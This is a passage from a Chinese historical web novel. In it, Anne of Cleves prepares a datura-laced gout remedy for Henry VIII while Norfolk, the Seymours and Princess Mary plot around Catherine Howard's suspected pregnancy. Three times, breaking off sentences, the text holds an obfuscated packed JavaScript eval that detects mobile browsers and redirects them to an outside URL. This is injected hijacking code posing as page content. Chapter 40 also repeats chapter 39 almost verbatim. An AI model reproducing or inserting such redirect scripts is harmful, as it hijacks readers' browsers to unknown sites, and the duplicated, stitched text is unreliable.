一阵突如其来的、强烈的恶心感毫无预兆地涌上喉咙。凯瑟琳猛地捂住嘴，干呕起来，这一次，不是药水催出来的表演，而是真实的、源自身体深处的反应！泪水瞬间模糊了她的视线，不是因为痛苦，而是因为一种荒诞至极、足以将她彻底逼疯的恐惧和……一丝微弱的、不该存在的希望？ “不……不可能……是药……一定是那些该死的药……” 她神经质地摇着头，指甲深深掐进手臂的皮肉里，试图用疼痛驱散这可怕的念头。是格里夫斯那些催吐药水的后遗症？还是……那晚玫瑰廊下，卡尔佩珀炽热的呼吸和有力的臂膀带来的……真实后果？ 腹中那微弱的、若有似无的悸动感，像一颗投入死水潭的石子，在她早已被恐惧和绝望填满的心里，激起了一圈圈疯狂而混乱的涟漪。如果……如果这是真的？这将是足以让诺福克舅舅从地狱爬回人间的唯一筹码！是能让她自己从断头台的阴影下暂时逃脱的救命稻草！但……这同样也是压垮骆驼的最后一根稻草！是让整个阴谋变得更加荒诞、更加肮脏、也更加危险的导火索！ 她该怎么办？向谁求救？这深锁的宫门，隔绝了所有希望，只留下无边的黑暗和门外守卫冰冷的铁靴声。她死死咬住嘴唇，尝到了血腥味，巨大的混乱和更深的恐惧如同潮水般将她彻底淹没。这个可能的“意外”，不是救赎，而是将她拖入了更绝望的深渊。 *** 里士满，安娜宫蒸馏坊。 安妮正俯身在一套新的玻璃器皿前，专注地调整着火候。釜中翻滚的不再是玫瑰花瓣，而是混合了柳树皮、绣线菊、白芷根等多种药材的深褐色液体。蒸汽携带着苦涩而清冽的药香，在冷凝管中凝结成淡金色的精华——这是升级版的“舒络蜜”，加入了更强的抗炎镇痛成分，专门针对亨利日益加重的痛风。 老约翰肃立一旁，低声汇报着格林威治宫传来的最新密报：国王病势反复，对“舒络蜜”的依赖日深；玛丽公主掌控愈严；托马斯·西摩对伊丽莎白的“关切”；以及……伦敦塔诺福克可能发出的疯狂指令（西摩家截获了部分模糊信息）。 安妮的动作没有丝毫停顿，眼神沉静如水。她小心地收集着冷凝管中滴落的淡金色液体，声音平稳：“将新制的‘舒络蜜’加倍提纯，剂量减半，加入少量曼陀罗花浸提液（微量镇痛镇静）。” 老约翰一愣，随即了然：这是要让药效更强，但起效更依赖持续供给，让亨利在生理上更深地绑定里士满。 “另外，”安妮将一滴浓缩的药液滴在银匙上，对着烛光观察其粘稠度，声音低得只有两人能听见，“让我们在伦敦的人，留意一个名字——‘渡鸦’。还有，格林威治宫凯瑟琳的寝宫……注意任何异常的动静，尤其是……与御医或特殊药物相关的。” 她嗅了嗅银匙上的药香，那苦涩清冽的气息，如同这混乱时局中唯一能被她掌控的脉络。亨利在药香中维系着摇摇欲坠的权柄；诺福克在囚笼里酝酿着毁灭的风暴；凯瑟琳在绝望中可能孕育着颠覆一切的“意外”；而西摩和玛丽，则在觊觎着王座旁的阴影。里士满的药炉静静燃烧，淬炼着救命的良药，也映照着这即将被彻底点燃的、由谎言、野心和疯狂交织而成的火药桶。 38. 囚笼中的心跳 格林威治宫的药味浓得化不开。亨利八世在龙床上辗转，痛风像烧红的刀子凿他的膝盖。玛丽公主的影子投在床帷上，她刚用拉丁文念完一段祷词，声音还悬在空气里。老御医捧来金碗，浓黑药汁上浮着几点油星——那是里士满新送来的“舒络蜜”浓缩剂，混着曼陀罗汁液。 “喝了它，陛下。”玛丽的声音不容拒绝。 亨利浑浊的眼珠扫过药碗。这几个月，只有这琥珀色的液体能短暂压住那蚀骨的疼。他粗粝的手指捏住碗沿，一饮而尽。苦涩直冲头顶，但很快，一股温热的麻木感从胃里扩散，包裹住剧痛的关节。他长长吐出一口带着酒气的叹息，身体沉进鹅绒垫。 “诺福克……”他喉咙里滚出这个名字，像含着一块炭。 “在伦敦塔最底层的黑牢里。”玛丽替他掖好被角，动作利落得像处理一块木头，“活着。” 亨利闭着眼，嘴角抽动一下。活着就好。活着的诺福克是拴住霍华德残党的锁链，也是悬在西摩头顶的剑。他需要这把剑悬得久一点，直到他重新握紧权杖。 门外响起谨慎的叩击。内侍总管佝偻着背进来，捧着一卷羊皮纸。“肯特郡葡萄园的契约，陛下。已按您的吩咐，送到里士满安娜夫人手上。” 亨利没睁眼，只从鼻子里哼了一声。葡萄园？不过是给那女人的一点甜头，一根拴住她的绳子。她得待在里士满，安安分分地熬她的药。她的药和他的命一样重要。 玛丽接过契约扫了一眼，蜡封完好。“她安分得很，父王。酒坊都歇了三成工。” “盯着她。”亨利吐出三个字，药力上涌，意识开始模糊，“还有……那个贱人……”他指的是凯瑟琳。 “锁得死死的，一只苍蝇也飞不进她的寝宫。”玛丽声音冰冷。她比任何人都希望凯瑟琳死，但不是现在。父王需要这个筹码。 --- 伦敦塔地底的黑牢，连老鼠都嫌弃。诺福克公爵托马斯·霍华德蜷在霉烂的草堆上，听着头顶隐约传来的、泰晤士河上的钟声。黑暗里，只有他粗重的呼吸。 铁门下方一个不起眼的缺口“咔哒”轻响，一个压扁的锡皮小酒壶塞了进来。老狱卒的咳嗽声在门外远去。诺福克扑过去，像饿狗扑食。他抠开壶底一层薄蜡，里面卷着一条细长的亚麻布条，上面用炭灰潦草地画着几个符号——霍华德家族的血誓密语。 布条在他枯瘦的指间颤抖。符号的意思像冰锥扎进他眼底：**“巢中有卵。渡鸦已醒。”** “巢中有卵”——凯瑟琳肚子里真有货了！不是塞的布团，是卡尔佩珀那个小白脸播下的野种！“渡鸦已醒”——他最后的死士已经启动，像淬毒的短剑，藏在最深的阴影里。 一股混杂着狂喜和恶毒的战栗窜遍诺福克全身。他喉咙里发出“嗬嗬”的怪笑，在死寂的牢房里格外瘆人。天不亡霍华德！那个愚蠢的□□，竟在绝境里怀上了唯一的筹码！这野种是毒药，也是解药！只要它活着生下来，再想办法染上金毛……他几乎能看到亨利那张因震怒和耻辱扭曲的脸！ 他咬破手指，用血在布条背面画下一个更狰狞的符号——一只展翅欲扑的渡鸦。他将布条塞回酒壶，狠狠敲了敲铁门。剩下的，就交给那些只认金子不认命的“渡鸦”了。杀爱德华，是给西摩和玛丽准备的葬礼焰火。至于凯瑟琳和她肚子里的东西……得活着！必须活着！ --- 里士满城堡的蒸馏房里，铜釜低鸣。安妮盯着冷凝管口，一滴、两滴……金红色的浓缩药液坠入琉璃瓶。空气里弥漫着柳树皮特有的苦涩和一丝不易察觉的甜腥——那是微量曼陀罗的味道。 老约翰脚步无声地出现在门边，影子被炉火拉长。“夫人，伦敦的消息。‘渡鸦’在动。西摩家的马车连着三天半夜去了圣詹姆斯宫。”圣詹姆斯宫，是爱德华王子养病的地方。 安妮的手稳稳地托着琉璃瓶。“人呢？” “盯死了。四个，生面孔，像泰晤士河上的水老鼠，眼神带钩子。”老约翰声音压得更低，“码头那边也加了双岗，胡椒狗夜里都不肯睡。” 安妮盖上瓶塞，蜡封。“药加倍提纯的事，宫里察觉了？” “没有。格里夫斯倒了，新来的御医只当是药效更强了。陛下……离不了这个。” 安妮把封好的药瓶放进铺着丝绒的橡木盒。亨利越依赖这药，里士满就越安全，但也越危险。她成了风暴眼里最脆弱的支点。 “凯瑟琳那边？” “铁桶一般。但昨天……有个生脸的药材贩子，在宫后门跟守卫嘀咕了半天，递进去一个青瓷罐子，说是苏塞克斯郡新采的野蜂蜜，给王后安胎的。”老约翰眼中闪过精光，“罐子没扣霍华德的火漆。” 安妮指尖轻轻敲着橡木盒。野蜂蜜？诺福克的女儿苏珊嫁在苏塞克斯……太巧了。霍华德家像受伤的毒蛇，在看不见的地方吐着信子。凯瑟琳的肚子，成了他们翻盘的唯一赌注。 “那罐‘蜂蜜’……”安妮抬眼。 “玛丽公主的人拦下了，正在查。”老约翰顿了顿，“听说凯瑟琳这两天吐得厉害，是真的吐。” 蒸馏房里只剩下釜底柴火的噼啪声。安妮望向窗外沉沉的夜色。凯瑟琳腹中那个不被期待的生命，诺福克黑暗中放出的“渡鸦”，亨利药瘾般的依赖，西摩兄弟贪婪的窥伺……所有线头都在收紧。里士满的宁静，像暴风雨前最后的薄雾。 “备船，”安妮忽然说，声音清冷，“明天一早，我亲自送这批药去格林威治。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155928|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老约翰一怔：“夫人，这时候进宫……” “陛下需要药，”安妮打断他，目光落在琉璃瓶上那点温润的金红，“而他们，需要知道里士满的眼睛，一直睁着。” 送药是表忠，也是警告。她要站在风暴边缘，看清那柄悬在所有人头顶的剑何时落下。 --- 凯瑟琳·霍华德的寝殿死寂得像坟墓。厚重的天鹅绒窗帘隔绝了所有天光，昂贵香料的气味也压不住一股淡淡的酸腐气。她蜷缩在冰冷的四柱床深处，赤着脚，丝绸睡袍皱巴巴地裹在身上。怀里死死抱着一个枕头，指甲抠破了锦缎。 “呕……”又是一阵毫无预兆的翻江倒海。她扑到床边，对着银盆干呕，只有酸苦的胆汁。这一次，不是格里夫斯那恶心的药水催的，是她自己的身体在造反。她瘫软在地毯上，冷汗浸透了鬓角。 手颤抖着，轻轻覆上小腹。平坦依旧，但里面……那里似乎真的有什么东西在动？细微的、像小鱼吐了个泡泡。恐惧和一丝荒诞的、不该有的希望死死缠住她的心脏。是卡尔佩珀的……那个雨夜玫瑰廊下，他滚烫的手心，急促的呼吸……她猛地摇头，金发凌乱地黏在汗湿的脸上。 不！这是诅咒！是魔鬼的玩笑！如果被父王知道……如果被玛丽那个女巫知道……她会被活剥了皮！ 门外传来沉重的铁靴踏步声，守卫在换岗。这声音每天像丧钟一样敲打她的神经。她爬到梳妆台前，铜镜里映出一张惨白浮肿、眼窝深陷的脸。曾经让亨利着迷的娇艳荡然无存，只剩下枯槁和惊恐。她哆嗦着拉开抽屉，里面藏着一小块锋利的、用来修剪烛芯的铜片。 冰凉的铜片贴在手腕跳动的脉搏上。只要一下……一下就好……结束这无边的恐惧和耻辱…… “殿下……”一个细如蚊蚋的声音，突然从厚重的窗帘后面传来！ 凯瑟琳浑身剧震，铜片“当啷”掉在地上。她惊恐地瞪大眼睛，死死捂住自己的嘴，才没尖叫出声。窗帘缝隙里，露出一只布满血丝、属于老妇人的眼睛。 “苏珊……夫人？”凯瑟琳认出来了，是诺福克那个嫁给破落老男爵的、不起眼的女儿苏珊！她怎么会在这里？！ 那只眼睛眨了眨，声音急促得像耳语：“活着！为了您肚子里的孩子！为了霍华德！‘渡鸦’在看着！活下去！” 话音刚落，窗帘微微晃动，那只眼睛消失了。仿佛只是凯瑟琳绝望中的幻觉。 寝殿重归死寂。凯瑟琳瘫坐在地，心脏狂跳得像要炸开。苏珊……“渡鸦”……活下去？她颤抖的手再次抚上小腹。这一次，那微弱的悸动感似乎更清晰了一点。 她盯着地上那枚冰冷的铜片，看了很久很久。最终，她伸出脚，把它狠狠踢进了床底最深的黑暗里。她不能死。至少……现在不能。 39. 药瓶与囚徒 亨利八世的寝宫像个巨大的药罐子。浓烈的药味、汗味和一种衰老□□特有的浑浊气息混合在一起，压得人喘不过气。厚重的窗帘只拉开一条缝隙，昏黄的光线勉强勾勒出床上那庞大却虚弱的身形轮廓。 玛丽公主像一尊冰冷的门神守在床边。安妮抱着橡木药盒走进来时，只看到亨利紧闭着眼，眉头拧成一个痛苦的疙瘩，粗重而浑浊的呼吸在寂静中格外刺耳。他的一条腿搭在软枕上，肿胀的关节即使在昏暗光线下也能看出不自然的红亮。 “陛下，安妮夫人送药来了。”玛丽的声音不高，却足以穿透亨利昏沉的意识。 亨利眼皮颤动了几下，艰难地掀开一条缝。浑浊的眼珠扫过安妮和她手中的盒子，喉咙里发出一声含糊的咕哝，像是野兽的低吼。他伸出那只没被痛风折磨的手，手指因疼痛和愤怒微微颤抖，指向安妮——或者说，指向她怀里的药。 安妮立刻上前。老约翰默契地递上一个鎏金小杯和一小壶温水。安妮打开药盒，里面是几支密封的琉璃瓶，装着金红色的粘稠液体。她取出一支，拔掉蜡封的木塞，小心翼翼地将小半瓶药液倒入杯中，又兑入少量温水，轻轻晃匀。浓郁的药草气息瞬间弥散开，带着柳树皮的苦涩和一丝不易察觉的甜腥（曼陀罗）。 她将杯子递到亨利唇边。玛丽想接手，亨利却固执地自己抬起那只颤抖的手，一把抓住杯沿，动作粗鲁得差点打翻。他仰头，咕咚咕咚地将混合药液灌了下去，药汁顺着他花白的胡须流下几滴，他也毫不在意。仿佛那不是药，而是支撑他残存意志和力量的唯一源泉。 药液下肚，亨利靠在巨大的枕头上，急促地喘息着。他闭上眼，似乎在等待那熟悉的、能将剧痛暂时压下去的麻木感蔓延开来。寝宫陷入一片压抑的寂静，只有他沉重的呼吸和壁炉里木炭偶尔的噼啪声。 玛丽的目光从父亲身上移开，落在安妮脸上，带着审视和一丝难以言喻的复杂。就是眼前这个女人，用她那些“异教”的方法救活了爱德华，又用这瓶子里古怪的药汁拴住了父王。她的存在，本身就是对玛丽所认知的秩序的一种挑战。 “安妮夫人，”玛丽的声音打破了沉寂，冷得像块铁，“凯瑟琳·霍华德的事……” 就在这时，寝宫厚重的橡木门被猛地撞开！一个年轻的侍女，脸色惨白如纸，跌跌撞撞地冲了进来，甚至没顾上行礼，就扑倒在玛丽脚边，声音带着哭腔和极度的惊恐： “公主殿下！陛下！不好了！王后……王后殿下她……她晕倒了！吐了好多……好多血！” 轰！ 仿佛一道惊雷劈在死寂的寝宫里。 亨利八世猛地睁开眼！浑浊的眼底瞬间被暴怒的血丝充满！他挣扎着想坐起，却被腿上的剧痛狠狠扯了回去，发出一声痛苦的咆哮：“贱人！！又想耍什么花样？！给朕拖出去！拖出去！” 玛丽一把抓住几乎瘫软的侍女，厉声喝问：“说清楚！怎么回事？谁让你来的？她怎么吐的血？” 她的声音紧绷，眼神锐利如鹰。 “是……是守门的杰拉德骑士！王后殿下突然在房里呕吐不止，吐出来的……吐出来的东西里有血丝！然后就……就昏过去了！杰拉德骑士不敢开门，只让奴婢立刻来禀报！”侍女语无伦次，吓得浑身发抖。 “血？”玛丽眉头紧锁，看向安妮，眼神里是赤裸裸的怀疑和冰冷的探寻。“安妮夫人，你刚才说……强烈的情绪刺激可能导致严重的妊娠反应？那包括……吐血吗？” 她把“妊娠”两个字咬得极重，充满了讽刺。 安妮的心猛地一沉。凯瑟琳真的出事了！而且情况听起来很糟。玛丽的问题像一把淬毒的匕首，无论她怎么回答都可能被抓住把柄。说“是”，等于承认凯瑟琳可能真怀孕（哪怕是被刺激出来的症状）；说“不是”，玛丽立刻就会怀疑凯瑟琳在装模作样博取同情，甚至可能怀疑有人下毒——而自己刚刚送药进宫！ “殿下，”安妮强迫自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155929|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷静，声音平稳，但语速略快，“剧烈的呕吐本身可能导致食道或胃部的小血管破裂，出现血丝并不罕见。但具体原因，必须由御医现场诊断！拖延下去，无论原因是什么，都可能致命。” 她把重点引向“人命”和“需要专业判断”，同时避开了“怀孕”这个核心雷区。她必须去现场！只有亲眼看到，才能判断情况，才能决定下一步。 “御医？”玛丽冷笑一声，瞥了一眼床上因暴怒和疼痛而气息更加粗重的亨利，“格里夫斯在牢里，新的御医还在熟悉宫里的药材库！现在能指望谁？指望你那些‘偶尔知道’的偏方吗？” 她的话像鞭子一样抽过来，既是质疑，也是将难题直接甩给安妮——你不是懂吗？你去处理！处理不好，就是你的责任！ 亨利挣扎着，用尽力气咆哮，唾沫星子四溅：“让她……死！锁好门……让她死在里面！不准……任何人进去！” 但剧烈的动作再次牵扯到痛风的腿，他痛得蜷缩起来，额头青筋暴跳，后面的话变成了一串含混痛苦的咒骂。 “父王！”玛丽按住亨利挥舞的手臂，声音带着一种冰冷的决断，“她不能就这样不明不白地死了！她的命，必须由您、由律法来审判！在那之前，她得活着！活着接受惩罚！” 她看向安妮，眼神不容拒绝，“安妮夫人，既然你懂这些，既然你人在这里，那就由你去看看。看看那个贱人，到底在玩什么把戏！记住，”她一字一顿地说，“我要知道真相。她肚子里，到底是什么！” “渡鸦”的阴影，西摩的觊觎，亨利失控的暴怒，玛丽冰冷的命令……所有无形的绳索瞬间收紧，将安妮死死地绑在了凯瑟琳·霍华德那扇紧闭的、象征着耻辱和死亡的寝宫大门前。她抱着那个装着“舒络蜜”的空药盒，仿佛抱着自己唯一的盾牌，却要走向一个足以吞噬一切的漩涡中心。胡椒狗在她脚边不安地低呜着，嗅到了浓烈的不祥气息。真相？安妮知道，无论凯瑟琳肚子里是什么，这“真相”本身，就是最致命的炸药。 40. 第 40 章 亨利八世的寝宫像个巨大的药罐子。浓烈的药味、汗味和一种衰老□□特有的浑浊气息混合在一起，压得人喘不过气。厚重的窗帘只拉开一条缝隙，昏黄的光线勉强勾勒出床上那庞大却虚弱的身形轮廓。 玛丽公主像一尊冰冷的门神守在床边。安妮抱着橡木药盒走进来时，只看到亨利紧闭着眼，眉头拧成一个痛苦的疙瘩，粗重而浑浊的呼吸在寂静中格外刺耳。他的一条腿搭在软枕上，肿胀的关节即使在昏暗光线下也能看出不自然的红亮。 “陛下，安妮夫人送药来了。”玛丽的声音不高，却足以穿透亨利昏沉的意识。 亨利眼皮颤动了几下，艰难地掀开一条缝。浑浊的眼珠扫过安妮和她手中的盒子，喉咙里发出一声含糊的咕哝，像是野兽的低吼。他伸出那只没被痛风折磨的手，手指因疼痛和愤怒微微颤抖，指向安妮——或者说，指向她怀里的药。 安妮立刻上前。老约翰默契地递上一个鎏金小杯和一小壶温水。安妮打开药盒，里面是几支密封的琉璃瓶，装着金红色的粘稠液体。她取出一支，拔掉蜡封的木塞，小心翼翼地将小半瓶药液倒入杯中，又兑入少量温水，轻轻晃匀。浓郁的药草气息瞬间弥散开，带着柳树皮的苦涩和一丝不易察觉的甜腥（曼陀罗）。 她将杯子递到亨利唇边。玛丽想接手，亨利却固执地自己抬起那只颤抖的手，一把抓住杯沿，动作粗鲁得差点打翻。他仰头，咕咚咕咚地将混合药液灌了下去，药汁顺着他花白的胡须流下几滴，他也毫不在意。仿佛那不是药，而是支撑他残存意志和力量的唯一源泉。 药液下肚，亨利靠在巨大的枕头上，急促地喘息着。他闭上眼，似乎在等待那熟悉的、能将剧痛暂时压下去的麻木感蔓延开来。寝宫陷入一片压抑的寂静，只有他沉重的呼吸和壁炉里木炭偶尔的噼啪声。 玛丽的目光从父亲身上移开，落在安妮脸上，带着审视和一丝难以言喻的复杂。就是眼前这个女人，用她那些“异教”的方法救活了爱德华，又用这瓶子里古怪的药汁拴住了父王。她的存在，本身就是对玛丽所认知的秩序的一种挑战。 “安妮夫人，”玛丽的声音打破了沉寂，冷得像块铁，“凯瑟琳·霍华德的事……” 就在这时，寝宫厚重的橡木门被猛地撞开！一个年轻的侍女，脸色惨白如纸，跌跌撞撞地冲了进来，甚至没顾上行礼，就扑倒在玛丽脚边，声音带着哭腔和极度的惊恐： “公主殿下！陛下！不好了！王后……王后殿下她……她晕倒了！吐了好多……好多血！” 轰！ 仿佛一道惊雷劈在死寂的寝宫里。 亨利八世猛地睁开眼！浑浊的眼底瞬间被暴怒的血丝充满！他挣扎着想坐起，却被腿上的剧痛狠狠扯了回去，发出一声痛苦的咆哮：“贱人！！又想耍什么花样？！给朕拖出去！拖出去！” 玛丽一把抓住几乎瘫软的侍女，厉声喝问：“说清楚！怎么回事？谁让你来的？她怎么吐的血？” 她的声音紧绷，眼神锐利如鹰。 “是……是守门的杰拉德骑士！王后殿下突然在房里呕吐不止，吐出来的……吐出来的东西里有血丝！然后就……就昏过去了！杰拉德骑士不敢开门，只让奴婢立刻来禀报！”侍女语无伦次，吓得浑身发抖。 “血？”玛丽眉头紧锁，看向安妮，眼神里是赤裸裸的怀疑和冰冷的探寻。“安妮夫人，你刚才说……强烈的情绪刺激可能导致严重的妊娠反应？那包括……吐血吗？” 她把“妊娠”两个字咬得极重，充满了讽刺。 安妮的心猛地一沉。凯瑟琳真的出事了！而且情况听起来很糟。玛丽的问题像一把淬毒的匕首，无论她怎么回答都可能被抓住把柄。说“是”，等于承认凯瑟琳可能真怀孕（哪怕是被刺激出来的症状）；说“不是”，玛丽立刻就会怀疑凯瑟琳在装模作样博取同情，甚至可能怀疑有人下毒——而自己刚刚送药进宫！ “殿下，”安妮强迫自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155930|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷静，声音平稳，但语速略快，“剧烈的呕吐本身可能导致食道或胃部的小血管破裂，出现血丝并不罕见。但具体原因，必须由御医现场诊断！拖延下去，无论原因是什么，都可能致命。” 她把重点引向“人命”和“需要专业判断”，同时避开了“怀孕”这个核心雷区。她必须去现场！只有亲眼看到，才能判断情况，才能决定下一步。 “御医？”玛丽冷笑一声，瞥了一眼床上因暴怒和疼痛而气息更加粗重的亨利，“格里夫斯在牢里，新的御医还在熟悉宫里的药材库！现在能指望谁？指望你那些‘偶尔知道’的偏方吗？” 她的话像鞭子一样抽过来，既是质疑，也是将难题直接甩给安妮——你不是懂吗？你去处理！处理不好，就是你的责任！ 亨利挣扎着，用尽力气咆哮，唾沫星子四溅：“让她……死！锁好门……让她死在里面！不准……任何人进去！” 但剧烈的动作再次牵扯到痛风的腿，他痛得蜷缩起来，额头青筋暴跳，后面的话变成了一串含混痛苦的咒骂。 “父王！”玛丽按住亨利挥舞的手臂，声音带着一种冰冷的决断，“她不能就这样不明不白地死了！她的命，必须由您、由律法来审判！在那之前，她得活着！活着接受惩罚！” 她看向安妮，眼神不容拒绝，“安妮夫人，既然你懂这些，既然你人在这里，那就由你去看看。看看那个贱人，到底在玩什么把戏！记住，”她一字一顿地说，“我要知道真相。她肚子里，到底是什么！” “渡鸦”的阴影，西摩的觊觎，亨利失控的暴怒，玛丽冰冷的命令……所有无形的绳索瞬间收紧，将安妮死死地绑在了凯瑟琳·霍华德那扇紧闭的、象征着耻辱和死亡的寝宫大门前。她抱着那个装着“舒络蜜”的空药盒，仿佛抱着自己唯一的盾牌，却要走向一个足以吞噬一切的漩涡中心。胡椒狗在她脚边不安地低呜着，嗅到了浓烈的不祥气息。真相？安妮知道，无论凯瑟琳肚子里是什么，这“真相”本身，就是最致命的炸药。 41. 滴血认亲 伦敦塔的阴影尚未从托马斯·霍华德身上完全褪去，但格林威治宫的金色长廊里，他已重新挺直了脊梁。天鹅绒礼服裹着他枯瘦的身躯，红宝石戒指在烛光下闪着不祥的光。他端着酒杯，穿过恭维的人群，目标明确地停在安妮面前。 “安妮夫人，”诺福克的声音像锉刀刮过生锈的铁片，带着一丝刻意压低的得意，“命运真是奇妙，不是吗？昨日阶下囚，今日……托陛下洪福，托我那甥女腹中‘龙种’的福泽，又能在此与您共饮了。”他浑浊的老眼死死盯着安妮，嘴角那点笑意冰冷刺骨，是赤裸裸的示威。 安妮手中的水晶杯映着烛火，琥珀色的加冕蜜微微晃动。她脸上没什么表情，只淡淡举杯：“公爵大人能重获自由，自然是英格兰之福。” 话里听不出半分情绪。 诺福克哼笑一声，目光扫过远处被贵族们刻意冷落的西摩兄弟——爱德华面沉如水，托马斯则挂着他惯常的迷人假笑，眼神却像淬了毒的刀子，正死死剜向这边。 “西摩家？”诺福克的声音带着毫不掩饰的恶毒快意，“跳梁小丑罢了。以为凭着几条捏造的‘罪证’就能扳倒霍华德？陛下圣明烛照，岂容宵小蒙蔽？如今真相大白，王后怀有龙裔，天佑我王！那些构陷忠良的……”他故意提高音量，确保足够多的人听见，“迟早要付出代价！” 托马斯·西摩捏着酒杯的手指关节发白，脸上笑容不变，蓝色的眼眸深处却翻涌着暴戾的杀意。他仰头将杯中酒一饮而尽，转身隐入喧闹的人群阴影里。 诺福克满意地看着托马斯消失的方向，又转向安妮，压低了声音，每个字都像毒蛇吐信：“夫人是聪明人。这宫里的风向，瞬息万变。依附错了人……可是会粉身碎骨的。您说呢？” 他意有所指地瞥了一眼西摩兄弟刚才站立的位置。 安妮迎上他那双浑浊却锐利如鹰隼的眼睛，平静无波：“公爵大人教诲的是。我只知尽心为陛下调制‘舒络蜜’，愿陛下龙体康泰，社稷安稳。至于其他，非我所愿，亦非我能。” 诺福克盯着她看了几秒，似乎在判断她话里有几分真意。最终，他扯出一个干瘪的笑容，举起杯：“好！为陛下的安康，为王后腹中未来的英格兰国王……干杯！” 清脆的碰杯声淹没在宫廷乐队的演奏里。诺福克带着胜利者的姿态转身离去，留下安妮独自站在喧嚣的灯火阑珊处。她指尖冰凉，杯中的“加冕蜜”映着璀璨灯火，却像一泓深不见底的寒潭。 * * * 深夜，圣詹姆斯宫爱德华王子寝殿外。托马斯·西摩像幽灵般隐在爬满藤蔓的石柱阴影里。一个佝偻着背、裹着厚厚头巾的老妇人，被他的贴身侍从威廉引了过来。 “爵士……”老妇人声音发颤，满是皱纹的手紧紧攥着一个粗布小包，正是凯瑟琳寝宫新来的接生嬷嬷之一，玛莎。 托马斯没说话，只从阴影里伸出手。一枚沉甸甸、刻着西摩家徽的金币，无声地落入玛莎粗糙的掌心。金币冰冷的触感让她哆嗦了一下。 “东西呢？”托马斯的声音压得极低，像夜风吹过枯叶。 玛莎紧张地左右张望，抖着手打开粗布包。里面不是婴儿衣物，而是一小撮柔软的、带着自然卷曲的深棕色头发，用细绳小心束着，还有一块折叠得整整齐齐、洗得发白却质地精良的男士亚麻手帕，角落绣着一个花体的“T.C.”——托马斯·卡尔佩珀名字的缩写。 “这……这是王后贴身藏着，压在枕头最下面的……”玛莎的声音带着恐惧，“头发……是卡尔佩珀大人上次探望王后时，王后偷偷剪下的……手帕也是他的……王后昏睡时，一直攥着……” 托马斯眼中寒光一闪，迅速将头发和手帕收进自己贴身的丝绒袋里，又摸出两枚同样的金币塞给玛莎：“闭紧你的嘴。王后生产那晚，无论发生什么，第一个抱孩子出产房的，必须是你！记住孩子的模样，尤其是头发！事成之后，足够你全家离开英格兰，去法兰西安度余生。”他的声音带着不容置疑的蛊惑与威胁。 玛莎攥紧了金币，像抓住救命稻草，又像捧着烧红的烙铁，佝偻的身影很快消失在通往仆人区的黑暗小径中。 托马斯·西摩从阴影里踱出，月光照亮他半边英俊而冷酷的脸。他掂量着手中轻飘飘却又重逾千斤的丝绒袋，嘴角勾起一抹冰冷的弧度。诺福克？你以为靠一个野种就能翻身？真正的风暴，才刚要开始。他需要一把更锋利的刀，一个能在风暴中心引爆惊雷的人。 他的目光，投向了格林威治宫深处，玛丽公主那常年紧闭、弥漫着熏香和祈祷气息的寝殿方向。 * * * 里士满，安娜宫的书房。烛光下，安妮的羽毛笔尖悬在羊皮纸上，墨迹迟迟未落。老约翰肃立一旁，低沉的嗓音带来格林威治宫最新的暗涌： “诺福克公爵府邸近日访客如云，多是北方旧族。苏珊夫人（诺福克之女）频繁出入王后寝宫，带去各种‘安胎补品’……西摩兄弟闭门不出，但昨夜，托马斯爵士的贴身侍从威廉，在圣詹姆斯宫后墙阴影里，秘密会见了一个王后寝宫新来的接生婆，玛莎……随后，威廉又去了玛丽公主寝殿侧门，停留了约一炷香时间……另外，陛下对‘舒络蜜’的依赖日深，新送去的加倍提纯药液，几乎每日都要消耗半瓶……” 安妮搁下笔。诺福克在集结力量，为凯瑟琳生产造势；托马斯·西摩在暗中收买关键人物，目标直指婴儿血统；而玛丽公主……这个被旧教狂热和对霍华德刻骨仇恨驱动的长公主，无疑成了西摩家最理想的刀。 “风暴眼……”安妮低声自语，指尖无意识划过桌上胡椒狗温热的皮毛。狗儿抬起头，湿润的黑眼睛看着她，喉咙里发出低低的呜咽，仿佛也嗅到了远方逼近的血腥。 “约翰大叔，”安妮抬眼，目光沉静却锐利，“让我们的人，盯紧那个接生婆玛莎。还有，陛下那边……新一批‘舒络蜜’的曼陀罗浸提液，剂量再减三成。” 减量，是为了让亨利在关键时刻能保持一丝清醒的判断。这或许微不足道，但可能是风暴中唯一能抓住的稻草。 “是，夫人。”老约翰应下，眼中闪过一丝忧虑，“那公主殿下（伊丽莎白）……” “贝丝最近在做什么？”安妮问。 “公主殿下在塔楼观星台，绘制新的星图，说是木星与土星即将交汇，今夜是最佳观测时辰。”老约翰答道。 安妮望向窗外深邃的夜空，繁星点点。“让她看吧。” 她的声音带着一丝疲惫的温柔，“能多看一夜的星星……也是好的。” * * * 